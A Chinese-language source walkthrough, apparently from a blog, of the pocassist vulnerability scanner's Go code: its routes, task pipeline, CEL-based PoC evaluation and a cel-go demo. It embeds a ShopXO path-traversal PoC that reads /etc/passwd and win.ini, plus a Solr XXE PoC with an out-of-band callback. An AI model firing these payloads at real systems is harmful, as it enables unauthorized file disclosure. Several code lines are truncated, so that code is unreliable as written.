vulRoutes.GET("/basic/", vulnerability.Basic)
// all
vulRoutes.GET("/", vulnerability.Get)
// 增
vulRoutes.POST("/", vulnerability.Add)
// 改
vulRoutes.PUT("/:id/", vulnerability.Update)
// 详情
vulRoutes.GET("/:id/", vulnerability.Detail)
// 删
vulRoutes.DELETE("/:id/", vulnerability.Delete)
}
appRoutes := v1.Group("/product")
appRoutes.Use(jwt.JWT())
{
// all
appRoutes.GET("/", webapp.Get)
// 增
appRoutes.POST("/", webapp.Add)
// 改
appRoutes.PUT("/:id/", webapp.Update)
// 详情
appRoutes.GET("/:id/", webapp.Detail)
// 删
appRoutes.DELETE("/:id/", webapp.Delete)
}
scanRoutes := v1.Group("/scan")
scanRoutes.Use(jwt.JWT())
{
scanRoutes.POST("/url/", scan2.Url)
scanRoutes.POST("/raw/", scan2.Raw)
scanRoutes.POST("/list/", scan2.List)
}
taskRoutes := v1.Group("/task")
taskRoutes.Use(jwt.JWT())
{
// all
taskRoutes.GET("/", task.Get)
// 删
taskRoutes.DELETE("/:id/", task.Delete)
}
resultRoutes := v1.Group("/result")
resultRoutes.Use(jwt.JWT())
{
// all
resultRoutes.GET("/", result.Get)
// 删
resultRoutes.DELETE("/:id/", result.Delete)
}
}
router.Run(":" + port)
log.Info("server start at port:", port)
}
这样web都已经启动了 那我们看看如果再界面上创建一个扫描任务是怎么样的
db文件
如果程序要想启动还需要个db文件 地址 https://github.com/jweny/pocassistdb
里面包含web需要使用的账户 数据 描述等 最主要是的表 plugins 如下图所示
他是把yaml格式的poc解析成json后加上描述名称等字段入库
创建一个扫描任务
首先启动程序后 配置文件默认监听是 1321 端口
看后端代码
api\routers\route.go#107
scanRoutes := v1.Group("/scan")
{
// url的是创建单个url的任务
scanRoutes.POST("/url/", scan2.Url)
// raw是 上传raw文件的任务
scanRoutes.POST("/raw/", scan2.Raw)
// list是url列表文件的任务
scanRoutes.POST("/list/", scan2.List)
}
url的处理函数
1. 接收前端参数获取要用的poc名称 目标等信息
2. 通过 util.GenOriginalReq 生成一个请求包
3. 通过 rule.LoadDbPlugin 从数据库中加载poc 全部的poc还是指定的poc 根据vul_id来查询
4. 创建任务 task 创建 taskItem 包含生成的请求包 poc列表 task
5. rule.TaskProducer(taskItem)
func Url(c *gin.Context) {
scan := scanSerializer{}
err := c.ShouldBindJSON(&scan)
if err != nil {
c.JSON(msg.ErrResp("测试url不可为空,扫描类型为multi或all"))
return
}
oreq, err := util.GenOriginalReq(scan.Target)
if err != nil || oreq == nil {
c.JSON(msg.ErrResp("原始请求生成失败"))
return
}
// 插件列表
plugins, err := rule.LoadDbPlugin(scan.Type, scan.VulList)
if err != nil || plugins == nil{
c.JSON(msg.ErrResp("poc插件加载失败" + err.Error()))
return
}
token := c.Request.Header.Get("Authorization")
claims, _ := util.ParseToken(token)
// 创建任务
task := db.Task{
Operator: claims.Username,
Remarks: scan.Remarks,
Target: scan.Target,
}
db.AddTask(&task)
taskItem := &rule.TaskItem{
OriginalReq: oreq,
Plugins: plugins,
Task: &task,
}
c.JSON(msg.SuccessResp("任务下发成功"))
go rule.TaskProducer(taskItem)
go rule.TaskConsumer()
return
}
GenOriginalReq 生成一个原始请求
pkg\util\request.go#421
这个request对象是没有发起请求的
1. 校验目标是否可以连接 通过发一个tcp包来判断 排除 icmp 的
2. 生成一个request对象 originalReq, err := http.NewRequest("GET", fixTarget, nil)
3. 添加 headers host Accept-Encoding Connection 等 并返回生成的request包
func GenOriginalReq(target string) (*http.Request, error) {
verify, fixTarget := VerifyInputTarget(target)
if !verify {
errMsg := fmt.Errorf("util/requests.go:GenOriginalReq %s can not connect", target)
log.Error(errMsg)
return nil, errMsg
}
originalReq, err := http.NewRequest("GET", fixTarget, nil)
if err != nil {
errMsg := fmt.Errorf("util/requests.go:GenOriginalReq %s original request gen error %v", target, err)
log.Error(errMsg)
return nil, errMsg
}
originalReq.Header.Set("Host", originalReq.Host)
originalReq.Header.Set("Accept-Encoding", "gzip, deflate")
originalReq.Header.Set("Accept", "*/*")
originalReq.Header.Set("User-Agent", conf.GlobalConfig.HttpConfig.Headers.UserAgent)
originalReq.Header.Set("Accept-Language", "en")
originalReq.Header.Set("Connection", "close")
return originalReq, nil
}
rule.TaskProducer 将taskitem写到TaskChannel管道里
func TaskProducer(item *TaskItem) {
TaskChannel <- item
}
rule.TaskConsumer() 消费TaskChannel管道里的数据调用poc测试
从 TaskChannel 管道中接收数据后 通过 RunPlugins 处理 数据
func TaskConsumer() {
for item := range TaskChannel {
// 校验格式
err := item.Verify()
if err != nil {
log.Error("[rule/poc.go:WriteTaskError scan error] ", err)
db.ErrorTask(item.Task.Id)
continue
}
RunPlugins(item)
}
}
RunPlugins 协程限制并发运行插件
poc\rule\parallel.go#137
1. 从配置文件中获取到限制并发数量 8
2. 通过 ants 创建协程池来管理协程
3. 通过 rule.RunPoc 来调用poc
4. 当所有poc都run完 才认为这个任务是完成的了
func RunPlugins(item *TaskItem) {
// 限制插件并发数
var wg sync.WaitGroup
parallel := conf.GlobalConfig.PluginsConfig.Parallel
p, _ := ants.NewPoolWithFunc(parallel, func(item interface{}) {
RunPoc(item, false)
wg.Done()
})
defer p.Release()
oreq := item.OriginalReq
plugins := item.Plugins
task := item.Task
log.Info("[rule/parallel.go:TaskConsumer start scan]", oreq.URL.String())
for i := range plugins {
item := &ScanItem{oreq, &plugins[i], task}
wg.Add(1)
p.Invoke(item)
}
wg.Wait()
db.DownTask(task.Id)
}
rule.RunPoc 运行poc
poc\rule\run.go#54
根据poc的参数位置替换请求对应位置的参数 如果script即go的poc代码直接调用 如果json的即原来是yaml的在
db里的
通过cel控制器处理 验证 最后输出结果
1. 获取 scanItem 后调用 Verify 方法 只是验证数据是否都不是空的
2. 定义 req控制器 RequestController 定义 cel控制器 CelController
3. 初始化 req requestController.Init(scanItem.OriginalReq) 生成Fasthttp 原始请求转为fasthttp
4. 获取handler handles := getHandles(scanItem.Plugin.Affects) 默认是数据库里的 除 script 的即go脚本
的
5. 初始化cel celController.Init(scanItem.Plugin.JsonPoc) 对这个poc进行cel构建
6. 根据实际的req包与 poc合并处理
celController.InitSet(scanItem.Plugin.JsonPoc, requestController.New) 将poc的set变量赋值 赋值
request 到 cel控制器中传递变量后给后续表达式 使用
7. util.RequestPut(requestController.New) 将fasthttp请求包写到 sync.pool 共享池里节省内存
8. 根据数据库中的插件的影响类型 例如是参数类型 目录 脚本等类型分别处理 这个类型是数据库里的表
plugins 的字段 affects
根据给出的db文件 类型只有 directory 即 AffectDirectory 和script的
9. 如果是参数类型
a. 通过 InitOriginalQueryParams 获取参数数据 如果get就获取params否则就获取body
b. 初始化poc控制器 通过
InitPocController(&requestController, scanItem.Plugin, &celController, handles)
c. 获取所有url参数
originalParamFields, err := url.ParseQuery(requestController.OriginalQueryParams)
c. 遍历参数 requestController.FixQueryParams(field, payload, controller.Plugin.Affects) 将payload插
入到所有的参数中
d. controller.Next() 对poc中的每个HandleFunc函数进行调用
e. 如果被终止了说明存在漏洞 封装漏洞结果 util.VulnerableHttpResult 写任务结果 WriteTaskResult
f. 重置这个控制器 写到 poc控制器池 ControllerPool 里 节省内存给下一次调用
g. 如果没漏洞也要写到 poc控制器池 ControllerPool 里
10. 如果是 directory server url text 级别的
a. 初始化控制器 InitPocController(&requestController, scanItem.Plugin, &celController, handles)
b. 调用 Next 方法
c. 判断是否存在漏洞同上
d. 如果是debug状态没漏洞的话 结果是
util.DebugVulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", controller.Request.Raw)
封装的
11. 如果是 script
a. 初始化poc控制器
controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles)
b. 如果是终止的 脚本结果不是空 脚本的漏洞不是空 则保存结果 util.ScanResult
c. 写漏洞结构 poc控制器重置入池
d. 如果是debug模式 也是使用 util.DebugVulnerableHttpResult 封装下结果
e. 如果没漏洞也要写到 poc控制器池 ControllerPool 里
12. 都不是的话 返回没有漏洞 util.InVulnerableResult
// 执行单个poc
func RunPoc(inter interface{}, debug bool) (result *util.ScanResult, err error) {
scanItem := inter.(*ScanItem)
err = scanItem.Verify()
if err != nil {
log.Error("[rule/poc.go:RunPoc scan item verify error] ", err)
return nil, err
}
log.Info("[rule/poc.go:RunPoc current plugin]", scanItem.Plugin.JsonPoc.Name)
var requestController RequestController
var celController CelController
err = requestController.Init(scanItem.OriginalReq)
if err != nil {
log.Error("[rule/poc.go:RunPoc request controller init error] ", err)
return nil, err
}
handles := getHandles(scanItem.Plugin.Affects)
err = celController.Init(scanItem.Plugin.JsonPoc)
if err != nil {
log.Error("[rule/poc.go:RunPoc cel controller init error] ", err)
return nil, err
}
err = celController.InitSet(scanItem.Plugin.JsonPoc, requestController.New)
if err != nil {
util.RequestPut(requestController.New)
log.Error("[rule/poc.go:RunPoc cel controller init set error] ", err)
return nil, err
}
switch scanItem.Plugin.Affects {
// 影响为参数类型
case AffectAppendParameter, AffectReplaceParameter:
{
err := requestController.InitOriginalQueryParams()
if err != nil {
log.Error("[rule/poc.go:RunPoc init original request params error] ", err)
return nil, err
}
controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles)
controller.Debug = debug
paramPayloadList := scanItem.Plugin.JsonPoc.Params
originalParamFields, err := url.ParseQuery(requestController.OriginalQueryParams)
if err != nil {
log.Error("[rule/poc.go:RunPoc params query parse error] ", err)
return nil, err
}
for field := range originalParamFields {
for _, payload := range paramPayloadList {
log.Info("[rule/poc.go:RunPoc param payload]", payload)
err = requestController.FixQueryParams(field, payload, controller.Plugin.Affects)
if err != nil {
log.Error("[rule/poc.go:RunPoc fix request params error] ", err)
continue
}
controller.Next()
if controller.IsAborted() {
// 存在漏洞
result = util.VulnerableHttpResult(controller.GetOriginalReq().URL.String
WriteTaskResult(scanItem, result)
PutController(controller)
return result, nil
}
controller.Index = 0
}
}
// 没漏洞
result = &util.InVulnerableResult
PutController(controller)
return result, nil
}
case AffectDirectory, AffectServer, AffectURL, AffectContent:
{
controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles)
controller.Debug = debug
controller.Next()
if controller.IsAborted() {
// 存在漏洞
result = util.VulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", controlle
WriteTaskResult(scanItem, result)
PutController(controller)
return result, nil
} else if debug{
// debug 没漏洞
result = util.DebugVulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", cont
PutController(controller)
return result, nil
}else {
// 没漏洞
result = &util.InVulnerableResult
PutController(controller)
return result, nil
}
}
case AffectScript:
{
controller := InitPocController(&requestController, scanItem.Plugin, &celController, handles)
controller.Debug = debug
controller.Next()
if controller.IsAborted() && controller.ScriptResult != nil && controller.ScriptResult.Vulnerable
// 存在漏洞 保存结果
result = &util.ScanResult{
Vulnerable: controller.ScriptResult.Vulnerable,
Target: controller.ScriptResult.Target,
Output: controller.ScriptResult.Output,
ReqMsg: controller.ScriptResult.ReqMsg,
RespMsg: controller.ScriptResult.RespMsg,
}
WriteTaskResult(scanItem, controller.ScriptResult)
PutController(controller)
return result, nil
} else if debug {
// debug 没漏洞
result = util.DebugVulnerableHttpResult(controller.GetOriginalReq().URL.String(), "", cont
PutController(controller)
return result, nil
} else {
// 没漏洞
PutController(controller)
return &util.InVulnerableResult, nil
}
}
}
// 默认返回没有漏洞
return &util.InVulnerableResult, nil
}
celController.Init cel控制器初始化
poc\rule\cel.go#25
1. cel2.InitCelOptions() 加入 大量的xray的自定义函数 例如 randomInt base64Decode 等 还有变量
2. option.AddRuleSetOptions(poc.Set) 注入set的变量 set的是 poc里的定义的变量 类型默认都是字符串的
3. cel2.InitCelEnv(&option) 创建env环境
4. 将cel的env赋值到 Env 并定义个参数map ParamMap 到cel控制器中
//
初始化
func (cc *CelController) Init(poc *Poc) (err error) {
//
1.生成cel env环境
option := cel2.InitCelOptions()
//
注入set定义的变量
if poc.Set != nil {
option.AddRuleSetOptions(poc.Set)
}
env, err := cel2.InitCelEnv(&option)
if err != nil {
log.Error("[rule/cel.go:Init init cel env error]", err)
return err
}
cc.Env = env
// 初始化变量列表
cc.ParamMap = make(map[string]interface{})
return nil
}
celController.InitSet cel控制器初始化
poc\rule\cel.go#44
1. 将request添加到 ParamMap
2. 将set变量也添加到 ParamMap 如果是反连要创建个反连 reverse.NewReverse()
3. cel2.Evaluate(cc.Env, value, cc.ParamMap) 构建set的cel 执行
4. cel执行解析后将对于解析后的值替换回 ParamMap 为了给后续poc表达式使用变量
// 处理poc: set
func (cc *CelController) InitSet(poc *Poc, newReq *proto.Request) (err error) {
// 如果没有set 就直接返回
if len(poc.Set) == 0 {
return
}
cc.ParamMap["request"] = newReq
for _, setItem := range poc.Set {
key := setItem.Key.(string)
value := setItem.Value.(string)
// 反连平台
if value == "newReverse()" {
cc.ParamMap[key] = reverse.NewReverse()
continue
}
out, err := cel2.Evaluate(cc.Env, value, cc.ParamMap)
if err != nil {
return err
}
switch value := out.Value().(type) {
// set value 无论是什么类型都先转成string
case *proto.UrlType:
cc.ParamMap[key] = util.UrlTypeToString(value)
case int64:
cc.ParamMap[key] = int(value)
default:
cc.ParamMap[key] = fmt.Sprintf("%v", out)
}
}
return
}
controller.Next()
poc\rule\controller.go#221
这里的 controller.Handles 是 handles := getHandles(scanItem.Plugin.Affects) 根据类型获取到的poc
Handler 即是 所有除go代码的poc
计算一共需要测试多个Handles 遍历调用
func (controller *PocController) Next() {
for controller.Index < int64(len(controller.Handles)) {
controller.Handles[controller.Index](controller)
controller.Index++
}
}
因为通过 handles := getHandles(scanItem.Plugin.Affects) 这里默认会添加的是 ExecExpressionHandle
ExecExpressionHandle
poc\rule\handle.go#15
1. ctx.GetPoc() 获取当前测试的poc 即 controller.Plugin.JsonPoc
2. 如果poc有 Groups 那么调用 ctx.Groups(ctx.IsDebug()) 否则调用 ctx.Rules(poc.Rules,ctx.IsDebug())
有 Groups的poc举例
params: []
name: poc-yaml-shopxo-cnvd-2021-15822
set: {}
rules: []
groups:
Linux:
- method: GET
path: /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=
headers: {}
body: ""
search: ""
followredirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
Windows:
- method: GET
path: /public/index.php?s=/index/qrcode/download/url/L1dpbmRvd3Mvd2luLmluaQ=
headers: {}
body: ""
search: ""
followredirects: false
expression: |
response.status == 200 && response.body.bcontains(b"extensions") && response.body.bcontains(b"for
detail:
author: ""
links: []
description: ""
version: ""
不是 Groups的是 Rules的举例
{
"name": "poc-yaml-solr-cve-2017-12629-xxe",
"set": {
"reverse": "newReverse()",
"reverseURL": "reverse.url"
},
"rules": [{
"method": "GET",
"path": "/solr/admin/cores?wt=json",
"expression": "true",
"search": "\"name\":\"(?P<core>[^\"]+)\",\n"
}, {
"method": "GET",
"path": "/solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%
"follow_redirects": true,
"expression": "reverse.wait(5)\n"
}],
"detail": {
"author": "sharecast",
"links": ["https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE"]
}
}
func ExecExpressionHandle(ctx controllerContext){
var result bool
var err error
poc := ctx.GetPoc()
if poc == nil {
log.Error("[rule/handle.go:ExecExpressionHandle error] ", "poc is nil")
return
}
if poc.Groups != nil {
result, err = ctx.Groups(ctx.IsDebug())
} else {
result, err = ctx.Rules(poc.Rules,ctx.IsDebug())
}
if err != nil {
log.Error("[rule/handle.go:ExecExpressionHandle error] ", err)
return
}
if result {
ctx.Abort()
}
return
}
controller.Groups 含有 Groups的poc执行
poc\rule\controller.go#205
1. 遍历 groups里的rules
2. poc控制器调用 controller.Rules(rules, debug) 返回规则结果 如果一个rules成功即 返回成功 这个成功是
表示rule的表达式也是对的 如果整个rules的表达式都是true就是对的
下面我们详细看下 controller.Rules
3. group 只要有一个rules成功即返回成功否则返回false
// 执行 groups
func (controller *PocController) Groups(debug bool) (bool, error) {
groups := controller.Plugin.JsonPoc.Groups
// groups 就是多个rules 任何一个rules成功 即返回成功
for _, rules := range groups {
rulesResult, err := controller.Rules(rules, debug)
if err != nil || !rulesResult {
continue
}
// groups中一个rules成功 即返回成功
if rulesResult {
return rulesResult, nil
}
}
return false, nil
}
controller.Rules 含有 Rules的poc执行
poc\rule\controller.go#186
如果poc含有多个rule的情况 遍历调用 controller.SingleRule
// 执行 rules
func (controller *PocController) Rules(rules []Rule, debug bool) (bool, error) {
success := false
for _, rule := range rules {
singleRuleResult, err := controller.SingleRule(&rule, debug)
if err != nil {
log.Error("[rule/controller.go:Rules run error]", err)
return false, err
}
if !singleRuleResult {
//如果false 直接跳出循环 返回
success = false
break
}
success = true
}
return success, nil
}
controller.SingleRule 单条rule怎么执行
poc\rule\controller.go#148
1. 调用rule的 Verify 限制rule中的path必须以 "/" 开头
2. rule.ReplaceSet(controller.CEL.ParamMap) 替换set对应的值 将请求中 headers path body 中
{{xxx}} 的xxx根据之前cel解析构建的变量替换
3. 根据原始请求 + rule 生成并发起新的请求 http controller.DoSingleRuleRequest 返回resp
4. 给 controller.CEL.ParamMap["response"] 赋值为 返回的resp
5. 如果rule Search不是空的进行匹配 rule.Search 是正则字符串 匹配body 并返回结果map
6. Evaluate 调用rule的表达式 返回表达式的结果是布尔值 cel2.Evaluate(cc.Env, char, cc.ParamMap)
计算表达式的时候是将 最开始的 request 以及刚刚通过 controller.DoSingleRuleRequest 返回后
的 response 以及set set是之前执行表达式解析获取到 这个 ParamMap 都带入进去构建解析poc的验证表达
式了
7. 如果debug或者rule表达式返回是True 那么记录请求链 controller.Request.Add(resp)
// 单个规则运行
func (controller *PocController) SingleRule(rule *Rule, debug bool) (bool, error) {
// 格式校验
err := rule.Verify()
if err != nil {
return false, err
}
// 替换 set
rule.ReplaceSet(controller.CEL.ParamMap)
// 根据原始请求 + rule 生成并发起新的请求 http
resp, err := controller.DoSingleRuleRequest(rule)
if err != nil {
return false, err
}
controller.CEL.ParamMap["response"] = resp
// 匹配search规则
if rule.Search != "" {
controller.CEL.ParamMap = rule.ReplaceSearch(resp, controller.CEL.ParamMap)
}
// 如果当前rule验证失败,立即释放
out, err := controller.CEL.Evaluate(rule.Expression)
if err != nil {
log.Error("[rule/controller.go:SingleRule cel evaluate error]", err)
return false, err
}
if debug {
controller.Request.Add(resp)
} else {
// 非debug模式下不记录 没有漏洞不记录请求链
if !out {
util.ResponsePut(resp)
return false, nil
} // 如果成功,记如请求链
controller.Request.Add(resp)
}
return out, err
}
controller.DoSingleRuleRequest fasthttp发请求
poc\rule\controller.go#85
初始化一个空的req 然后根据 rule 的测试位置对应的进行替换进去发起请求返回cel的Response
1. 获取req的fast包
2. AcquisiteRequest 从请求池返回一个空请求实例 并将请求内容拷贝到创建的空请求实例
3. 解析获取目录 curPath
4. 获取这个插件的影响类型 Affects
5. 判断影响级别是哪些再处理
a. 如果是 params级的 appendparam replaceparam 将ruile的headers添加到 fastreq包中 通过
util.DoFasthttpRequest 发包
b. 如果是 content级的 通过 util.DoFasthttpRequest 发包
c. 如果是dir级的 目录级漏洞检测 当前路径与 rule.Path 拼接出新的路径
d. 如果是 server级的 赋值 curPath = rule.Path
e. 如果是url级的 这里给注释掉了
6. 为了兼容xray 某些poc没有区分path和query 将url中的 空格和``+ 替换为 %20 设置url不进行转义 并替
换 fixedFastReq 的url
7. 设置 fixedFastReq 的 headers method
8. 如果请求的类型是 multipart/form-Data 通过 util.DealMultipart 处理body后 更新到 fixedFastReq
9. 替换完后发起请求通过 util.DoFasthttpRequest 返回 proto.Response
// 根据原始请求 + rule 生成并发起新的请求
func (controller *PocController) DoSingleRuleRequest(rule *Rule) (*proto.Response, error) {
fastReq := controller.Request.Fast
// fixReq : 根据规则对原始请求进行变形
fixedFastReq := fasthttp.AcquireRequest()
fastReq.CopyTo(fixedFastReq)
curPath := string(fixedFastReq.URI().Path())
affects := controller.Plugin.Affects
switch affects {
// param级
case AffectAppendParameter, AffectReplaceParameter:
for k, v := range rule.Headers {
fixedFastReq.Header.Set(k, v)
}
return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects)
//
content级
case AffectContent:
return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects)
// dir级
case AffectDirectory:
// 目录级漏洞检测 判断是否以 "/"结尾
if curPath != "" && strings.HasSuffix(curPath, "/") {
// 去掉规则中的的"/" 再拼
curPath = fmt.Sprint(curPath, strings.TrimPrefix(rule.Path, "/"))
} else {
curPath = fmt.Sprint(curPath, "/" ,strings.TrimPrefix(rule.Path, "/"))
}
// server级
case AffectServer:
curPath = rule.Path
// url级
case AffectURL:
//curPath = curPath, strings.TrimPrefix(rule.Path, "/"))
default:
}
// 兼容xray: 某些 POC 没有区分path和query
curPath = strings.ReplaceAll(curPath, " ", "%20")
curPath = strings.ReplaceAll(curPath, "+", "%20")
fixedFastReq.URI().DisablePathNormalizing= true
fixedFastReq.URI().Update(curPath)
for k, v := range rule.Headers {
fixedFastReq.Header.Set(k, v)
}
fixedFastReq.Header.SetMethod(rule.Method)
// 处理multipart
contentType := string(fixedFastReq.Header.ContentType())
if strings.HasPrefix(strings.ToLower(contentType),"multipart/form-Data") && strings.Contains(rule.Body,"\n\n") {
multipartBody, err := util.DealMultipart(contentType, rule.Body)
if err != nil {
return nil, err
}
fixedFastReq.SetBody([]byte(multipartBody))
}else {
fixedFastReq.SetBody([]byte(rule.Body))
}
return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects)
}
raw接口
scanRoutes.POST("/raw/", scan2.Raw)
api\routers\v1\scan\scan\scan.go#92
1. 会先将raw存成文件
2. 读取raw文件生成req http.ReadRequest(bufio.NewReader(bytes.NewReader(raw)))
3. 之后也是创建任务到管道 只是从原来的根据目标生成一个req包变成解析raw转成一个req
func Raw(c *gin.Context) {
scanType := c.PostForm("type")
vulList := c.PostFormArray("vul_list")
remarks := c.PostForm("remarks")
if scanType != "multi" && scanType != "all" {
c.JSON(msg.ErrResp("扫描类型为multi或all"))
return
}
target, err := c.FormFile("target")
if err != nil {
c.JSON(msg.ErrResp("文件上传失败"))
return
}
// 存文件
filePath := file.UploadTargetsPath(path.Ext(target.Filename))
err = c.SaveUploadedFile(target, filePath)
oreq, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(raw)))
if err != nil || oreq == nil {
c.JSON(msg.ErrResp("生成原始请求失败"))
return
}
if !oreq.URL.IsAbs() {
scheme := "http"
oreq.URL.Scheme = scheme
oreq.URL.Host = oreq.Host
}
plugins, err := rule.LoadDbPlugin(scanType, vulList)
if err != nil || plugins == nil {
c.JSON(msg.ErrResp("插件加载失败" + err.Error()))
return
}
oReqUrl := oreq.URL.String()
token := c.Request.Header.Get("Authorization")
claims, _ := util.ParseToken(token)
task := db.Task{
Operator: claims.Username,
Remarks: remarks,
Target: oReqUrl,
}
db.AddTask(&task)
taskItem := &rule.TaskItem{
OriginalReq: oreq,
Plugins: plugins,
Task: &task,
}
c.JSON(msg.SuccessResp("任务下发成功"))
go rule.TaskProducer(taskItem)
go rule.TaskConsumer()
return
}
List
scanRoutes.POST("/list/", scan2.List)
api\routers\v1\scan\scan\scan.go#175
将目标文件存下来 解析遍历创建多个task任务
后续也是一样的创建的任务到管道
func List(c *gin.Context) {
scanType := c.PostForm("type")
vulList := c.PostFormArray("vul_list")
remarks := c.PostForm("remarks")
if scanType != "multi" && scanType != "all" {
c.JSON(msg.ErrResp("扫描类型为multi或all"))
return
}
target, err := c.FormFile("target")
if err != nil {
c.JSON(msg.ErrResp("文件上传失败"))
return
}
// 存文件
filePath := file.UploadTargetsPath(path.Ext(target.Filename))
err = c.SaveUploadedFile(target, filePath)
if err != nil || !file.Exists(filePath) {
c.JSON(msg.ErrResp("文件保存失败"))
return
}
// 加载poc
plugins, err := rule.LoadDbPlugin(scanType, vulList)
if err != nil{
c.JSON(msg.ErrResp("插件加载失败" + err.Error()))
return
}
if len(plugins) == 0 {
c.JSON(msg.ErrResp("插件加载失败" + err.Error()))
return
}
targets := file.ReadingLines(filePath)
token := c.Request.Header.Get("Authorization")
claims, _ := util.ParseToken(token)
var oReqList []*http.Request
var taskList []*db.Task
for _, url := range targets {
oreq, err := util.GenOriginalReq(url)
if err != nil {
continue
}
task := db.Task{
Operator: claims.Username,
Remarks: remarks,
Target: url,
}
db.AddTask(&task)
oReqList = append(oReqList, oreq)
taskList = append(taskList, &task)
}
if len(oReqList) == 0 || len(taskList) ==0 {
c.JSON(msg.ErrResp("url列表加载失败"))
return
}
c.JSON(msg.SuccessResp("任务下发成功"))
for index, oreq := range oReqList {
taskItem := &rule.TaskItem{
OriginalReq: oreq,
Plugins: plugins,
Task: taskList[index],
}
go rule.TaskProducer(taskItem)
go rule.TaskConsumer()
}
return
}
对于cel-go的使用理解
这里抄了 pocassist的cel-go的代码 加上自己的注释理解 写了一个demo
简单对cel-go进行一个使用
/*
* @Date: 2022-03-15 16:20:30
* @LastEditors: recar
* @LastEditTime: 2022-03-16 10:29:56
*/
package main
import (
"crypto/md5"
"fmt"
"math/rand"
"strings"
"cel/proto"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
)
// 定义一个自定义函数
// 判断s1是否包含s2, 忽略大小写
// 描述
var iContainsDec = decls.NewFunction("icontains", decls.NewInstanceOverload("string_icontains_string", []*exprpb.Type{decl
// 实现
// 这里的Operator 是运算符 即 字符串.icontains(字符串)
// Binary 是定义这个函数 通过ref反射动态执行 先判断类型是否是字符串 然后再执行 strings.Contains
var iContainsFunc = &functions.Overload{
Operator: "string_icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to icontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to icontains", rhs.Type())
}
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
}
// 自定义函数 randomInt
var randomIntDec = decls.NewFunction("randomInt", decls.NewOverload("randomInt_int_int", []*exprpb.Type{decls.Int, decls.I
var randomIntFunc = &functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
}
// 字符串的 md5
var md5Dec = decls.NewFunction("md5", decls.NewOverload("md5_string", []*exprpb.Type{decls.String}, decls.String))
var md5Func = &functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
}
// 初始化 cel的环境变量即自定义的函数和变量
// 是 Library接口的实现
/*
type Library interface {
// CompileOptions returns a collection of funcitional options for configuring the Parse / Check
// environment.
CompileOptions() []EnvOption
// ProgramOptions returns a collection of functional options which should be included in every
// Program generated from the Env.Program() call.
ProgramOptions() []ProgramOption
}
*/
type CustomLib struct {
// 声明
envOptions []cel.EnvOption
// 实现
programOptions []cel.ProgramOption
}
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
// 第一步定义 cel options
func InitCelOptions() CustomLib {
custom := CustomLib{}
custom.envOptions = []cel.EnvOption{
cel.Container("proto"),
//
注入一种类型
cel.Types(
&proto.UrlType{},
&proto.Request{},
&proto.Response{},
),
// 定义变量
cel.Declarations(
decls.NewVar("request", decls.NewObjectType("pkg.proto.Request")),
decls.NewVar("response", decls.NewObjectType("pkg.proto.Response")),
),
// 定义函数
cel.Declarations(iContainsDec, randomIntDec, md5Dec),
}
// 实现的函数
custom.programOptions = []cel.ProgramOption{cel.Functions(iContainsFunc, randomIntFunc, md5Func)}
return custom
}
// 第二步 根据cel options 创建 cel环境
func InitCelEnv(c *CustomLib) (*cel.Env, error) {
// cel.Lib 的参数是Library 是 CustomLib 的接口
return cel.NewEnv(cel.Lib(c))
}
//
如果有set:追加set变量到 cel options
// 这里的set 就是yaml的set 定义的一些变量
func (c *CustomLib) AddRuleSetOptions(args []map[string]string) {
for _, arg := range args {
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
for k := range arg {
v := arg[k]
var d *exprpb.Decl
// 下面设置了这三种字符串设置类型
if strings.HasPrefix(v, "randomInt") {
d = decls.NewVar(k, decls.Int)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewVar(k, decls.NewObjectType("proto.Reverse"))
} else {
d = decls.NewVar(k, decls.String)
}
// 追加到 envOpt中
c.envOptions = append(c.envOptions, cel.Declarations(d))
}
}
}
//
计算单个表达式
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
return nil, iss.Err()
}
prg, err := env.Program(ast)
if err != nil {
return nil, err
}
out, _, err := prg.Eval(params)
if err != nil {
return nil, err
}
return out, nil
}
func main() {
//
1.生成cel env环境
option := InitCelOptions()
//
动态添加变量到env里 这里即对poc里的set
set := []map[string]string{}
rad := map[string]string{"rad": "randomInt(1,10)"}
set = append(set, rad)
option.AddRuleSetOptions(set)
